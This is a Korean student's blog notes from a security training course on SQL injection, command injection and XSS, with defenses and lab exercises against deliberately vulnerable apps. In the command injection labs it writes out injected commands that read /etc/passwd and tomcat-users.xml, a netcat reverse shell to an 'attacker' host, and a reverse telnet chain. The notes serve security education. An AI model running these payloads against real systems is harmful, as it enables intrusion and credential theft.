SK shieldus Rookies 16기 (클라우드 보안 기술 #03)

만두다섯개·2023년 12월 18일
0

SK 루키즈 16기

목록 보기
33/52

주요 정보

  • 교육 과정명 : 클라우드기반 스마트융합보안 과정 16기
  • 교육 회차 정보 : '23. 12. 18. 클라우드 보안 기술 #03

학습 참고

https://docs.google.com/document/d/1Y7wtAHji99RyS7h77oyr2W28Z2t7I9Uu_c7N7YPjRls/edit

SQL Injection 방어 기법 5가지

1. 구조화된 쿼리 이용

쿠조화된 쿼리를 이용해서 쿼리문을 정의하고 실행한다.
쿼리를 정의 쿼리문에 값을 바인딩하는 형식으로 실행한다.
PreparedStatement 객체를 이용한다.

2. 입력값에 쿼리 조작 문자열 포함 여부를 확인한다

구조화된 쿼리를 제공하지 않은 경우, 아래와 같은 조치를 취한다.
1. 해당 문자를 제거하고 사용
2. 안전한 형태로 변경 후 사용한다 => 이스케이프 처리

3. iBatis, myBatis 같은 프레임워크를 사용 시, 외부 입력값을 쿼리맵 적용 시, 반드시 #를 사용한다.

<sqlMap namespace="login">
	<typeAlias alias="LoginModel"
		type="kr.co.openeg.lab.login.model.LoginSessionModel" />
	<select id="loginCheck1" parameterClass="String" resultClass="LoginModel">
		select
		idx,
		userId,
		userPw,
		userName,
		joinDate
		from board_member
		where userId = #userId#
	</select>
	<select id="loginCheck2" parameterClass="LoginModel"		 로그인 처리  실행되는 쿼리
		resultClass="LoginModel">
		select
		idx,
		userId,
		userPw,
		userName,
		joinDate
		from board_member
		where userId = '$userId$' and userPw = '$userPw$'		⇐ $ 기호를 이용해서 변수값을 맵핑
</sqlMap>         

위 소스코드에서 로그인 기능 실행 쿼리를 $ 기호를 이용해 변수 값을 매핑한다. 이는 SQL Injection에 취약하다. 따라서 아래 와 같이 안전하게 변경해 사용한다.

	<select id="loginCheck2" parameterClass="LoginModel"
		resultClass="LoginModel">
		select
		idx,
		userId,
		userPw,
		userName,
		joinDate
		from board_member
		where userId = #userId# and userPw = #userPw#
	</select>

외부에서 입력된 값을 쿼리맵에 적용할 때는 $ 기호가 아닌 # 기호를 사용한다.
#를 사용함으로써 변수의 데이터 타입은 고려하지 않음 (# 기호를 이용한 PreparedStatement 객체에 ? 처럼 취급)

4. 오류 메시지에 시스템 중요 정보가 포함되지 않도록 한다.

시스템 내부에 오류가 발생하는 경우, 오류에 대한 구체적인 내용이 아닌 일반화된 메시지가 제공되도록 해야 한다.

5. DB 사용자 계정 최소 권한 설정

시스템 Table, View, Stored Procedure에 접근 권한을 최소화한다.
⇒ UNION Based SQL Injection과 같은 형태의 공격이 이루어 지는 것을 예방할 수 있음

#4, #5은 SQL Injection 공격을 직접적으로 방어하는 것이 아니고, SQL Injection 공격이 심화, 확산되는 것을 방어하는 기법이다.

Command Injection

애플리케이션에 OS 명령어(=쉘 명령어)를 실행하는 기능이 존재하는 경우, 외부 입력값을 검증, 제한하지 않고 운영체제 명령어 또는 운영체제 명령어의 일부로 사용하는 경우 발생하는 취약점

Command Injection 원인

  1. 외부 입력값을 검증하지 않고 사용
  • 추가 명령어 실행에 사용되는 &, |, ; 등의 문자열 포함 여부를 확인하지 않고 사용
  1. 외부 입력값을 제한하지 않고 사용
    내부 로직에서 사용할 수 있는 명령어 또는 명령어의 파라미터 값을 미리 정의하고 정의된 범위 내에서 사용되도록 하지 않는 경우 => 화이트 리스트 방식으로 제한하지 않는 경우

입력값 제한 방법

  1. 화이트 리스트 방식 : 허용 목록 => 정의된 목록 내의 값만 사용하도록 제한 => 새로운 입력 유형 발생에도 동일한 보안성 제공한다.
  2. 블랙 리스트 방식 : 제한 목록 => 정의된 목록의 값을 사용하지 않도록 제한 => 모집합의 규모가 크고, 변화가 심한 경우에 사용한다.

Command Injection 예시

예시 1) 외부 입력값을 OS 명령어로 사용하는 경우
아래 jsp 코드가 존재한다.

run.jsp
String cmd = request.getParameter("cmd");
Runtime.exec(cmd);

이때, 개발자가 원했던 실행과 공격자가 조작한 실행 차이를 알아보자.

개발자가 원했던 실행 	⇒ run.jsp?cmd=ifconfig
공격자가 조작한 실행1	⇒ run.jsp?cmd=cat /etc/passwd 	
공격자가 조작한 실행2	⇒ run.jsp?cmd=ifconfig & cat /etc/passwd	

예시 2) 운영체제 명령어의 파라미터로 외부 입력값을 OS 명령어 일부로 사용하는 경우
아래 jsp 코드가 존재한다.

view.jsp
String file = request.getParameter("file");
Runtime.exec("cat " + file);

이때, 개발자가 원했던 실행과 공격자가 조작한 실행 차이를 알아보자.

개발자가 원했던 실행 	⇒ view.jsp?file=/data/upload/myfile.txt
공격자가 조작한 실행1 	⇒ view.jsp?file=/etc/passwd
공격자가 조작한 실행2 	⇒ view.jsp?file=/data/dupload/myfile.txt & cat /etc/passwd

위 예시들 처럼, 개발자가 원하는 정상적인 실행 의도에서 벗어난 명령어가 실행되는 것을 Command Injection 예시라고 한다.

Command Injection 방어 기법

1. 필요한 OS 명령어만 사용한다.

불필요한 운영체제 명령어 실행을 제거한다.
운영체제 명령어 실행이 꼭 필요한지 여부를 확인하고 불필요한 경우 해당 기능을 제거하거나 다른 기능을 대체한다.
운영체제 명령어 실행이 발생하지 않도록 설계한다.

2. 명령어 파라미터 값을 화이트리스트로 제한한다.

운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 화이트 리스트 방식으로 제한한다.
시스템 내부에서 사용할 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 미리 정의하고 정의된 범위 내에서 사용되도록 제한한다.

3. 특수문자 필터링 사용한다.

입력값에 추가 명령어 실행에 사용되는 &, |, ; 등의 문자가 포함되어 있는지 검증하고 사용한다.

4. 시스템 내부 처리 유추를 감춘다.

외부에서 시스템 내부 처리를 유추할 수 없도록 코드화한다.

Command Injection 실습

Command Injection 공격 실습(openeg at Kali Linux OS)

http://victim:8080/openeg에 접속해보자. (test/test)

해당 페이지는 선택창에서 두 가지 명령어를 실행해 결과를 알려준다.

이렇게 명령어 프롬프트 창에서 dir 명령어 실행 결과와 비슷하다.
dir 명령어개발자 도구에서 확인하면 value를 명령어 실행 시 사용한다고 예상할 수 있다.

사용자가 선택한 값은 아래와 같이 서버로 전달된다.
command_test.do?data=dir
따라서 서버로 전달된 값은 아래와 같이 실행될 것이다.
Runtime.exec("dir");
이 예상을 확인하기 위해 다른 명령어를 사용해보자.


tasklist 라는 명령어 실행을 위해 tasklist를 입력하고, 실행 버튼을 누른 결과가 다음과 같이 나왔다.
예상이 맞았다. 소스코드에서는 어떻게 이게 구현되어 있을까?
확인해 보자.

소스코드 확인

아래 경로로 이동해 소스코드를 확인해보자.
/openeg/src/main/java/kr/co/openeg/lab/test/controller/TestController.java

getParameter로 request로부터 data 파라미터를 지정한다.
만약, tasklist 라는 파라미터를 받았다면, cmd 파라미터가 아래와 같이 될 것이다.

cmd = new String[] { "/bin/sh", "tasklist" }; 

그리고 해당 cmd가 try구문으로 실행될 것이고, 해당 명령어 실행에서 오류가 발생하지 않는다면, 결과가 response로 넘어갈 것이다.

안전한 소스코드 수정

1. 정의된 명령어만 사용하도록 수정

위에서 확인한 Command Injection에 취약한 코드를 안전하게 고쳐보자.
1. type, dir 명령어만 사용하도록 미리 사용할 명령어를 정의한다.
2. 요청 파라미터 값이 미리 정의된 명령어 범위에 포함되는지 확인 후 실행한다.

위 두 로직을 소스코드에 아래와 같이 추가한다.

만약 지정한 type 또는 dir 명령어가 아니라면, 추가한 조건문에 의해 "잘못된 입력입니다.";가 반환된 후, 해당 메소드가 종료되어. 공격자가 임의로 조작한 value 값을 실행하지 않을 것이다. 확인 해보자.

해당 소스코드를 저장하고, 다시 공격을 시도해 보자.

Command Inejction 공격이 방어가 된 것을 확인 가능하다.

2. 시스템 사용 값 유추 방지

외부에서 전달된 값이 시스템에서 어떤 값으로 사용되는지 연관성을 떠올리기 힘들게 수정 해보자.
1. 수정 전 :
현재 개발자 도구로 쉽게 사용자가 선택한 명령어가 어떤 값을 사용 및 전달하는지 확인 가능하다. 아래 그림을 확인해 보자.

tasklist 라는 파라미터가, value 라는 변수로 넘어가 소스코드에서 사용되는 것이다.
즉, 공격자는 A라는 파라미터가, 소스코드로 그대로 넘어가는 것을 확인하고, 해당 값이 소스코드에서 그대로 사용된다는 점을 추적 가능하게 된다.

  1. 수정 후:
    0, 1을 파라미터 값으로 사용하게 코드를 이래와 같이 수정한다.


웹 페이지에서 확인해 보자.

이제 사용자가 개발자 도구에서 직접 값이 전달되는 것을 확인 할 수 없다.
그러나 해당 웹 페이지에서는 사용 가능한 명령어가 2가지 이므로, 경우의 수가 2가지 이다.
0, 1 => show File, Dir
혹은
1, 0 => Dir, show File
따라서 이는 근본적인 해결방법이 아니라고 할 수 있다. 그러나 명령어 삽입 공격 시도 시, 연관성을 찾기가 어려워지기 때문에 안전성이 올라간다.

Command Injection 공격 실습(webgoat at winXP OS)

http://victim:8080/WebGoat/attack (webgoat /webgoat)로 접속하자.
Injection Flaws에서 Command Injection으로 들어가면 아래와 같은 기능이 있다.

View 버튼을 누르면, lesson plan을 선택에서 알려주는 기능이 있다.
오우, 친절하게 어떤 명령어의 실행 결과인지도 알려주고 있다!

 'cmd.exe /c type "C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\wtpwebapps\WebGoat\lesson_plans\English\AccessControlMatrix.html"'

해당 명령어는 아래와 같다.
특정 위치에 존재하는 .html 파일을 가져와 output으로 웹 페이지상으로 보여준다.
해당 명령어를 CMD창에서 변경해서 확인해보자

결과가 나온다. 여기에서 만약 & 로 시스템 명령어도 확인해보면 어떨까?


tomcat-users.xml 파일 조회 결과도 알 수 있게끔 명령어를 추가했더니, 위 사진과 동일하게 값이 나오고 있다.

& type "C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml"

이건 CMD 창에서 실행한 결과이므로, 페이지에서 값을 전달 시 다른 OS 명령어도 삽입되도록 수행해 보자.

HelpFile 파라미터로 요청한 파일이 사용된다. 서버에 전달되는 값은 파일명을 사용하므로 여기에 시스템 명령어를 사용할 수 있을 거라고 예상하였다.
그리고
tomcat-users.xml 파일의 결과를 확인하는 명령어를 & 연산자로 추가했다.
=> 해당 명령어가 적용되지 않았다.
=> %를 URL로 인코딩한 값인 %26을 사용해 입력하자 위 사진과 같이 tomcat-users.xml 파일 결과를 포함해 출력해 줌을 알 수 있다.

참고
개발자 도구에서 해당 명령어를 추가로 지정해 view 버튼을 눌러도 삽입된 명령어의 실행이 되지 않는다.

Command Injection 공격 실습(bee-box at Kali linux OS)

bee-box 에서도 Command Injection 확인을 해 보자.
http://beebox/bWAPP (bee / bug)

아래 페이지는 DNS lookup 명령어를 실행해준다. 사용자가 DNS입력하면, 해당 주소로 DNS lookup 명령어를 실행하고 결과를 반환해 준다.


이는 사용자 입력을 서버측에서 사용한다고 추측할 수 있다.
아래와 같은 명령어를 사용해 Command Inejction을 시도해 보자.

www.nsa.gov | ls 

ls 명령어 결과가 출력됨을 알 수 있다.
그러나 특정 명령어( ifconfig, tasklist, 등 )는 나오지 않는다.

따라서 NC(NetCat)을 이용한 리버스 커넥션을 사용해 보자.

호스트가 bee-box 접속 포트는 제한이 있다. 해당 프로그램에서 접속하는 포트를 지정했기 때문이다. 그러나, bee-box 프로그램 측에서 호스트로 접근하는 것은 bee-box 프로그램 측에서 따로 제한하지 않는다.
이 점을 노린 것이 리버스 커넥션이다. NC 프로그램은 칼리 리눅스에서 지원하는 "리버스 쉘 공격" 또는 "리버스 쉘 백도어" 목적 툴이다.

사용자가 생성한 포트로 가상의 서버를 실행시켜주고
공격 대상 웹 서버(프로그램)에게 접속을 요청한다.

NC를 이용한 리버스 커넥션 실습

  1. Kali linux에서 서버를 실행한다.
nc -l -p 8282

이제 칼리 리눅스에서는 가상 서버가 실행되고 있다.
다른 OS에서 bee-box 접속 후, 해당 칼리 리눅스 가상 서버로 접속해보자.
1. bee-box OS(다른 OS)에서 bee-box 웹 서버 접속 후, 아래 명령어와 같이 웹 서버로 기능을 사용하는 요청을 보낸다.

www.nsa.gov; nc attacker 8282 -e /bin/bash
  1. Kali linux OS에서는 bee-box 웹 서버가 Kali linux의 가상 서버로 접속했다. 이제 명령어를 사용해 bee-box 내부를 확인 할 수 있다.
    whoami / pwd / ls -al 등의 명령어를 실행하면 결과를 바로 알 수 있다. 마치 칼리 리눅스 터미널에서(공격자) bee-box 웹 서버 bash 쉘로 접속한 것 처럼 사용 가능하다!

해당 실습에서는 공격자가 nc로 접근한다고 명시되어 bee-box 접속을 인지할 수 있지만, 가상 서버에서 bee-box 웹 서버에게 명령어를 입력해도 공격 대상에서는 웹 서버가 공격자에게 웹 서버의 정보를 알려주고 있다는 것을 인지할 수 없다!!

위 그림에서 처럼, bee-box는 공격자에게 연결을 한 것일 뿐, 그 이후로 받은 명령어는 관리자가 접속해 내용을 확인하는 것 처럼 이상이 없다. 즉, bee-box는 정상적으로 작동하고 있을 뿐이다. 단지 접속하면 안 되는 사용자와 대화를 하고 있는 것 뿐이다.

리버스 쉘 취약점 방어방법

이전에서 언급한 리버스 쉘 취약점은 크게 두 가지이다.
원인 + 조건 2개 필요
원인 : 웹 앱에 Command Injection 취약점이 존재
조건
1. 정상적으로 기능을 수행하기 위해 웹 서버의 포트에서 특정 쉘을 출력해낸다.
2. 공격 대상 웹 서버에서 아래 명령어 처럼, nc라는 명령어를 수행 가능해야 하므로, nc 프로그램이 설치되어 있어야 한다.

nc attacker 8282 -e /bin/bash

나는 공격 대상 웹 서버가 모든 포트로의 연결하기 때문에 리버스 쉘 취약점 방어 목적으로 특정 포트만 막으면 된다고 생각했다. 그러나 이는 정상포트를 사용하는(예에서 든 8282 포트가 아닌 80 포트 등) 가상 서버를 사용하면 방어할 수 없을 것이다.

NC를 이용한 리버스 커넥션 실습(telnet 이용)

이러한 방식을 리버스 텔넷이라고 한다.
1. Kali linux에서 두 개의 터미널을 열어 서비스를 실행한다.

nc -l -p 8282
nc -l -p 9292

  1. bee box OS에서 아래와 같은 명령어로 telnet을 사용해 각 포트로 연결을 한다.
    (이전에 실습중 연결을 새로고침으로 웹 서버에 다시 접속하자)
www.nsa.gov | sleep 1000 | telnet attacker 8282 | /bin/bash | telnet attacker 9292 

  1. 각 가상서버에 bee-box 웹 서버가 접속했다. 8282 포트의 가상 서버에 명령어를 실행시키면 아래 그림과 같이 929 포트 가상 서버에 해당 명령어 결과가 출력되는 것을 확인 가능하다.

소스코드 확인

아래 경로로 이동해 소스코드를 확인해보자.

sudo gedit /var/www/bWAPP/commandi.php

  1. 정상적인 도메인을 입력 시, 해당 입력을 target 파라미터로 사용
  2. 명령어 실행 전, 보안 레벨에 따라 target을 검증 후 사용한다

commandi

/var/www/bWAPP/function_external.php 파일의 내용을 분석해보자.
아래와 같이 특정 보안 레벨에서는 다른 target 검증 메소드를 사용한다. 아래의 commandi_check3는 특수문자 3개가 존재한다면 replace 메소드로 해당 특수문자들을 공백처리 후 반환한다.

XSS

XXS 란? 공격자가 전달한 스크립트 코드가 사용자 브라우저를 통해 실행되는 경우, 사용자에게 가짜 페이지를 제공하고 사용자의 입력을 유도해서 사용자 정보를 탈취하는 것.

플러그인이란? 웹 브라우저(S/W)가 사용자로부터 권한을 양도받아 노트북(H/W)의 마이크, 카메라 등을 제어하도록 하는 SW이다.
과거에는 비표준화 플러그인 사용, 현재에는 표준화된 웹 기술을 활용한다.

표준화 웹 기술 종류
  1. WebRTC (Web Real-Time Communication) : 웹 브라우저 간에 실시간 통신을 가능케 하는 오픈 소스 프로젝트입니다. 음성 통화, 영상 채팅, 파일 공유 등 다양한 실시간 통신 기능을 제공하며, 플러그인 없이 브라우저에서 직접 사용 가능.
  2. HTML5 : 오디오, 비디오, 그래픽, 로컬 저장소 등 다양한 기능을 내장하고 있습니다.
 <audio>, <video>

등의 태그를 사용하여 브라우저에서 오디오 및 비디오를 지원.
3. Web APIs: 웹 브라우저는 표준 Web APIs를 통해 다양한 디바이스 및 센서와 상호 작용

위에서 제시한 표준화 웹 기술이 모두 스크립트로 작동한다. 따라서 악의적 용도로 작성된 스크립트가 실해된다면, 큰 피해를 입힐 수 있게 된다.

XSS 취약점 종류

  1. Stroed XSS : 공격자의 스크립트 코드가 서버에 게시판등의 공간에 저장되고, 사용자가 이것을 조회하면, 코드가 그대로 전달되 실행되는 경우이다. 해당 페이지 코드를 불특정 다수의 사용자에게 지속적으로 전달되어 실행되므로, Persistent XSS라고도 할 수 있다.
  2. Reflected XSS : 공격자가 공격 대상에게 이메일, 메신저, 웹 게시판 등에서 악성 스크립트를 포함한 URL을 노출시킨다. 이때, 공격 대상이 해당 URL을 눌러 실행시키면, 공격 대상의 브라우저에서 스크립트 코드가 실행되어 웹 서버를 공격한다.
  3. DOM - based XSS : 개발자 작성 스크립트 코드 취약점을 이용한 고역이다. 어떤 값을 화면에 출력하는 기능을 구현할 때 입력값에 실행 가능한 코드 포함 여부를 확인하지 않고, HTML 태그로 처리하는 경우에 발생하는 취약점이다.

XSS 실습

Kali linux에서 http://victim:8080/openeg 로 접속해 보자. (test/test)
Reflective XSS에서 아래와 같은 명령어를 사용하고 결과를 확인해보자.

abc <u>underline</u>

문자만 입력했는데 왜 실행결과에서 underline이 밑줄이 그어져 있을까?
=> 라는 태그로 감싸져있기 때문이다. 해당 태그는 HTML에서 해당 태그 내 문자를 밑줄로 감싸주는 의미를 부여한다.
즉, 해당 입력 폼에 이전의 명령어를 사용하면, 문자열이 아닌, 웹 서버가 처리 후 웹 브라우저측에서 의미(밑줄)가 있는 것으로 해석해주기 때문이다.

태그 종류

시작 태그가 있다면 종료 태그가 있다.
그러나 종료 태그가 없는, 자기 종료(self-closing)태그도 존재한다.

<img src="/images/title.gif" />
<div> <img src="/images/title.gif" width="100" height="100" /> </div> 
...등

HTML 태그가 아닌, 스크립트 태그를 포함해 입력하면 어떻게 될까?

alert 메시지가 출력된다. 즉, 스크립트 태그도 해석되어 실행된다.

소스코드 확인

직접 소스코드를 확인해 보자.

getParameter로 사용자 입력값인 data를 받아 버퍼에 담아서 그대로 반환한다.
즉, 아무런 검증이나 처리 없이 그대로 응답으로 반환하기 때문에, 스크립트, HTML 태그처럼 특별한 의미가 있는 문자열이 웹 브라우저로 전송되고, 이를 웹 브라우저가 읽어서 처리하면 스크립트문이 실행되는 것이다.

DOM Based XSS 공격 대응방법

  1. 입력값에 실행 가능한 코드가 포함되어 있는지 확인
    => 오류 처리, 제거 후 사용, 안전한 문자로 대체해서 사용 ⇒ HTML 인코딩 처리한다.
  2. 출력값에 의도하지 않은 실행 가능한 코드가 포함되어 있는지 확인
    => 제거 후 출력, (안전한 문자로 대체해서 사용 ⇒ HTML 인코딩해서 출력=> 스크립트로써 의미를 가지지 않게 된다.)
  3. 필터링, 인코딩 작업을 수행할 때는 검증된 로직, 라이브러리, 프레임워크를 사용해서 구현
    참고
  4. 네이버에서 만든 XSS Filter인 Lucy 오픈 소스 라이브러리이다.
  5. OWASP Cheat Sheet Series : Cross Site Scripting Prevention Cheat Sheet는 XSS 공격 예시를 알려줌으로써 해당 예시를 참고해 XSS 필터를 만드는데 도움을 준다.

안전한 소스코드 수정

1. 입력값 검증 (replaceAll 메소드사용)


이제 스크립트 코드를 입력해도, 해당 코드가 스크립트로 실행되지 않는다.

스크립트 구문을 입력해도, alert 창이 실행되지 않는다.

스크립트 구문이 아닌, HTML 태그를 포함해도 아래 그림과 같이 단순 텍스트로 출력된다.

2. 라이브러리(XSS 필터 사용) 검증

소스코드를 아래와 같이 수정한다.

아래에서 XSS 필터가 적용된 것을 확인할 수 있다.
(위 사진에서 나온 replaceAll 메소드는 삭제 후 웹 서버에 적용했다.)

profile
磨斧爲針

0개의 댓글